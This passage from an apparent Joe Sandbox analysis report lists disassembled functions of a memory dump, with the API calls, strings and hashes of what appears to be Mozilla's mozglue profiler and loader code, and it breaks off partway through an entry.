Part of subcall function 6C645E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C645EDB
Part of subcall function 6C645E90: memset.VCRUNTIME140(ewhl,000000E5,?), ref: 6C645F27
Part of subcall function 6C645E90: LeaveCriticalSection.KERNEL32(?), ref: 6C645FB2

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C634828
[I %d/%d] profiler_shutdown, xrefs: 6C634A06
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C6347FC
MOZ_PROFILER_SHUTDOWN, xrefs: 6C634A42
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C634812

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 3a5fc09310c08c13b9e31d2df6235abebf1bff217895373a9bc4a325cba92744
Instruction ID: 28e17e2215bf526ce36d83aa81e8eaff119f01813b678cfcf6efab7b1ff0a62f
Opcode Fuzzy Hash: 3a5fc09310c08c13b9e31d2df6235abebf1bff217895373a9bc4a325cba92744
Instruction Fuzzy Hash: EF81F670A001208FDB009FA9D88476EBBB5FF42318F142265D91A97B86D773E855CB9F

Function 6C634470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C634730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6344B2,6C6AE21C,6C6AF7F8), ref: 6C63473E
Part of subcall function 6C634730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C63474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C6344BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C6344D2
InitOnceExecuteOnce.KERNEL32(6C6AF80C,6C62F240,?,?), ref: 6C63451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C63455C
LoadLibraryW.KERNEL32(?), ref: 6C634592
InitializeCriticalSection.KERNEL32(6C6AF770), ref: 6C6345A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C6345AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C6345BB
InitOnceExecuteOnce.KERNEL32(6C6AF818,6C62F240,?,?), ref: 6C634612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C634636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C634644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C63466D
VerSetConditionMask.NTDLL ref: 6C63469F
VerSetConditionMask.NTDLL ref: 6C6346AB
VerSetConditionMask.NTDLL ref: 6C6346B2
VerSetConditionMask.NTDLL ref: 6C6346B9
VerSetConditionMask.NTDLL ref: 6C6346C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6346CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C6346F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C6346FD

Strings

Gjl, xrefs: 6C6344FC
l, xrefs: 6C634578
user32.dll, xrefs: 6C634557, 6C63463F
kernel32.dll, xrefs: 6C6344CD
WRusr.dll, xrefs: 6C6344B5
NativeNtBlockSet_Write, xrefs: 6C6346F7

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gjl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-2661833688
Opcode ID: 7d030d95feca931c56de3cba1ed7440da502f50e1cca42898cdd94ebd3c5482f
Instruction ID: 725577ebc0e42210e69c42f65539b6fe7840cbc9f69084ed154c012e85eac4d9
Opcode Fuzzy Hash: 7d030d95feca931c56de3cba1ed7440da502f50e1cca42898cdd94ebd3c5482f
Instruction Fuzzy Hash: 40612CB06043549FEB108FE2EC85BA9BBB8EF47348F04A458E5085B641D7F19945CF6E

Function 6C66F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C669420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C634A68), ref: 6C66945E
Part of subcall function 6C669420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C669470
Part of subcall function 6C669420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C669482
Part of subcall function 6C669420: __Init_thread_footer.LIBCMT ref: 6C66949F

GetCurrentThreadId.KERNEL32 ref: 6C66F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C66F8F9

Part of subcall function 6C636390: GetCurrentThreadId.KERNEL32 ref: 6C6363D0
Part of subcall function 6C636390: AcquireSRWLockExclusive.KERNEL32 ref: 6C6363DF
Part of subcall function 6C636390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C63640E

ReleaseSRWLockExclusive.KERNEL32(6C6AF4B8), ref: 6C66F93A
GetCurrentThreadId.KERNEL32 ref: 6C66F98A
GetCurrentThreadId.KERNEL32 ref: 6C66F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C66F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C66F716

Part of subcall function 6C6694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6694EE
Part of subcall function 6C6694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C669508

Part of subcall function 6C62B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C62B5E0

GetCurrentThreadId.KERNEL32 ref: 6C66F739
AcquireSRWLockExclusive.KERNEL32(6C6AF4B8), ref: 6C66F746
GetCurrentThreadId.KERNEL32 ref: 6C66F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C6A385B,00000002,?,?,?,?,?), ref: 6C66F829
free.MOZGLUE(?,?,00000000,?), ref: 6C66F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C66F866
free.MOZGLUE(?), ref: 6C66FA0C

Part of subcall function 6C635E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6355E1), ref: 6C635E8C
Part of subcall function 6C635E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C635E9D
Part of subcall function 6C635E60: GetCurrentThreadId.KERNEL32 ref: 6C635EAB
Part of subcall function 6C635E60: GetCurrentThreadId.KERNEL32 ref: 6C635EB8
Part of subcall function 6C635E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C635ECF
Part of subcall function 6C635E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C635F27
Part of subcall function 6C635E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C635F47
Part of subcall function 6C635E60: GetCurrentProcess.KERNEL32 ref: 6C635F53
Part of subcall function 6C635E60: GetCurrentThread.KERNEL32 ref: 6C635F5C
Part of subcall function 6C635E60: GetCurrentProcess.KERNEL32 ref: 6C635F66
Part of subcall function 6C635E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C635F7E

free.MOZGLUE(?), ref: 6C66F9C5
free.MOZGLUE(?), ref: 6C66F9DA

Strings

" attempted to re-register as ", xrefs: 6C66F858
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C66F9A6
[D %d/%d] profiler_register_thread(%s), xrefs: 6C66F71F
Thread , xrefs: 6C66F789

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: ab1768abd81d5db59dec09a78c391940c3f553a80c8c9d671e6d66eb4a73ec20
Instruction ID: 8aa2ca5dbb37b730b76202d759c9bef1d7dbef53b42b3e8093d5e4a92548fd24
Opcode Fuzzy Hash: ab1768abd81d5db59dec09a78c391940c3f553a80c8c9d671e6d66eb4a73ec20
Instruction Fuzzy Hash: BB81F3716042049FD7009F66C480BAEB7B5FFC6308F54856DE8469BB51EB31E809CB9B

Function 6C66EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C669420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C634A68), ref: 6C66945E
Part of subcall function 6C669420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C669470
Part of subcall function 6C669420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C669482
Part of subcall function 6C669420: __Init_thread_footer.LIBCMT ref: 6C66949F

GetCurrentThreadId.KERNEL32 ref: 6C66EE60
AcquireSRWLockExclusive.KERNEL32(6C6AF4B8), ref: 6C66EE6D
ReleaseSRWLockExclusive.KERNEL32(6C6AF4B8), ref: 6C66EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C66EEA5
CloseHandle.KERNEL32(?), ref: 6C66EEB4
free.MOZGLUE(00000000), ref: 6C66EEBB
GetCurrentThreadId.KERNEL32 ref: 6C66EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C66EECF

Part of subcall function 6C66DE60: GetCurrentThreadId.KERNEL32 ref: 6C66DE73
Part of subcall function 6C66DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C634A68), ref: 6C66DE7B
Part of subcall function 6C66DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C634A68), ref: 6C66DEB8
Part of subcall function 6C66DE60: free.MOZGLUE(00000000,?,6C634A68), ref: 6C66DEFE
Part of subcall function 6C66DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C66DF38

Part of subcall function 6C65CBE8: GetCurrentProcess.KERNEL32(?,6C6231A7), ref: 6C65CBF1
Part of subcall function 6C65CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6231A7), ref: 6C65CBFA

GetCurrentThreadId.KERNEL32 ref: 6C66EF1E
AcquireSRWLockExclusive.KERNEL32(6C6AF4B8), ref: 6C66EF2B
ReleaseSRWLockExclusive.KERNEL32(6C6AF4B8), ref: 6C66EF59
GetCurrentThreadId.KERNEL32 ref: 6C66EFB0
AcquireSRWLockExclusive.KERNEL32(6C6AF4B8), ref: 6C66EFBD
ReleaseSRWLockExclusive.KERNEL32(6C6AF4B8), ref: 6C66EFE1
GetCurrentThreadId.KERNEL32 ref: 6C66EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C66F000

Part of subcall function 6C6694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6694EE
Part of subcall function 6C6694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C669508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C66F02F

Part of subcall function 6C66F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C66F09B
Part of subcall function 6C66F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C66F0AC
Part of subcall function 6C66F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C66F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C66F008
[I %d/%d] profiler_stop, xrefs: 6C66EED7

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 6a5ffc88753929789d565f2001099faad4cdcc43b4cb15e4a292e2fc69d2d528
Instruction ID: be800aff7979c058d1efc32269950cb2af4cb4ab9a710b685246fd47fb727d26
Opcode Fuzzy Hash: 6a5ffc88753929789d565f2001099faad4cdcc43b4cb15e4a292e2fc69d2d528
Instruction Fuzzy Hash: 0451F531A042149FDB005BEBE88879D7BB4EF87358F100525E91583F42CB756806CBAF

Function 6C637FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C638007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C63801D

Part of subcall function 6C63CA10: malloc.MOZGLUE(?), ref: 6C63CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C63802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C63803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C63808D

Part of subcall function 6C63CA10: mozalloc_abort.MOZGLUE(?), ref: 6C63CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C63809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C6380B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C6380DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6380ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6380FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C63810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C638133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C638149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C638167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C63817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C638199

Strings

0>fl, xrefs: 6C63811E

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>fl
API String ID: 2721933968-2285440629
Opcode ID: 2ad3e90a7c8d771de836e392b8b6cafb15ac37690e326553960e93c00a081647
Instruction ID: f48234b6510dcb40af4f176a61bbe00aee92da61c05a253353005ac4ddc15637
Opcode Fuzzy Hash: 2ad3e90a7c8d771de836e392b8b6cafb15ac37690e326553960e93c00a081647
Instruction Fuzzy Hash: C351B6B1E00115ABDB00DFA9DC809EFB7B9EF49324F145126E819E7751E730AD05CBA9

Function 6C635E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C635E9D

Part of subcall function 6C645B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6456EE,?,00000001), ref: 6C645B85
Part of subcall function 6C645B50: EnterCriticalSection.KERNEL32(6C6AF688,?,?,?,6C6456EE,?,00000001), ref: 6C645B90
Part of subcall function 6C645B50: LeaveCriticalSection.KERNEL32(6C6AF688,?,?,?,6C6456EE,?,00000001), ref: 6C645BD8
Part of subcall function 6C645B50: GetTickCount64.KERNEL32 ref: 6C645BE4

GetCurrentThreadId.KERNEL32 ref: 6C635EAB
GetCurrentThreadId.KERNEL32 ref: 6C635EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C635ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C636017

Part of subcall function 6C624310: moz_xmalloc.MOZGLUE(00000010,?,6C6242D2), ref: 6C62436A
Part of subcall function 6C624310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C6242D2), ref: 6C624387

moz_xmalloc.MOZGLUE(00000004), ref: 6C635F47
GetCurrentProcess.KERNEL32 ref: 6C635F53
GetCurrentThread.KERNEL32 ref: 6C635F5C
GetCurrentProcess.KERNEL32 ref: 6C635F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C635F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C635F27

Part of subcall function 6C63CA10: mozalloc_abort.MOZGLUE(?), ref: 6C63CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6355E1), ref: 6C635E8C

Part of subcall function 6C63CA10: malloc.MOZGLUE(?), ref: 6C63CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6355E1), ref: 6C63605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6355E1), ref: 6C6360CC

Strings

GeckoMain, xrefs: 6C635ECE, 6C636015

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 343dfedeb8d7655a61e6a254922dcf9f05cd586e38cd4bb810ac8d4b4d743eff
Instruction ID: fa6be62551f209670d7f29a865f1ce755cfa51aab49beab87a4cfe9377af033c
Opcode Fuzzy Hash: 343dfedeb8d7655a61e6a254922dcf9f05cd586e38cd4bb810ac8d4b4d743eff
Instruction Fuzzy Hash: D771F4B0A047409FD710DF69D4C0A6ABBF0FF8A304F54596DE58A87B52D731E848CB9A

Function 6C639590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6231C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C623217
Part of subcall function 6C6231C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C623236
Part of subcall function 6C6231C0: FreeLibrary.KERNEL32 ref: 6C62324B
Part of subcall function 6C6231C0: __Init_thread_footer.LIBCMT ref: 6C623260
Part of subcall function 6C6231C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C62327F
Part of subcall function 6C6231C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C62328E
Part of subcall function 6C6231C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6232AB
Part of subcall function 6C6231C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6232D1
Part of subcall function 6C6231C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6232E5
Part of subcall function 6C6231C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C6232F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C639675
__Init_thread_footer.LIBCMT ref: 6C639697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6396E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C639707
__Init_thread_footer.LIBCMT ref: 6C63971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C639773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6397B7
FreeLibrary.KERNEL32 ref: 6C6397D0
FreeLibrary.KERNEL32 ref: 6C6397EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C639824

Strings

MapViewOfFileNuma2, xrefs: 6C6397B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C639670
ntdll.dll, xrefs: 6C6396E3
NtMapViewOfSection, xrefs: 6C639701

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 0155a954e34e142cf562c4cc686dbde25c9e1e25f29e3dd92de9b1d9f212295c
Instruction ID: bc8aaf2ac628e6d2a4fa54deeca7856b60f94278a28762231868da55cf250c83
Opcode Fuzzy Hash: 0155a954e34e142cf562c4cc686dbde25c9e1e25f29e3dd92de9b1d9f212295c
Instruction Fuzzy Hash: BC61C3716002159BDF008FE6F8D8A9E7BB0EB4A318F106519E95983790DB30E854CFAF

Function 6C686660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C6AF618), ref: 6C686694
GetThreadId.KERNEL32(?), ref: 6C6866B1
GetCurrentThreadId.KERNEL32 ref: 6C6866B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C6866E1
EnterCriticalSection.KERNEL32(6C6AF618), ref: 6C686734
GetCurrentProcess.KERNEL32 ref: 6C68673A
LeaveCriticalSection.KERNEL32(6C6AF618), ref: 6C68676C
GetCurrentThread.KERNEL32 ref: 6C6867FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C686868
RtlCaptureContext.NTDLL ref: 6C68687F

Strings

WalkStack64, xrefs: 6C686890

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: bbc7fd28ed67a5d900e4bd1eb7632331f69748c67f864262bdf9fc849cf68e8c
Instruction ID: 6945eb44d6808c2e394ed8786f73036c778dd1c14698c1148d3115aa1227323d
Opcode Fuzzy Hash: bbc7fd28ed67a5d900e4bd1eb7632331f69748c67f864262bdf9fc849cf68e8c
Instruction Fuzzy Hash: C151DD71A0A301AFDB10CF65C884B9EBBF4BF89714F00492DF99987640D770E805CBAA

Function 6C66DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C669420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C634A68), ref: 6C66945E
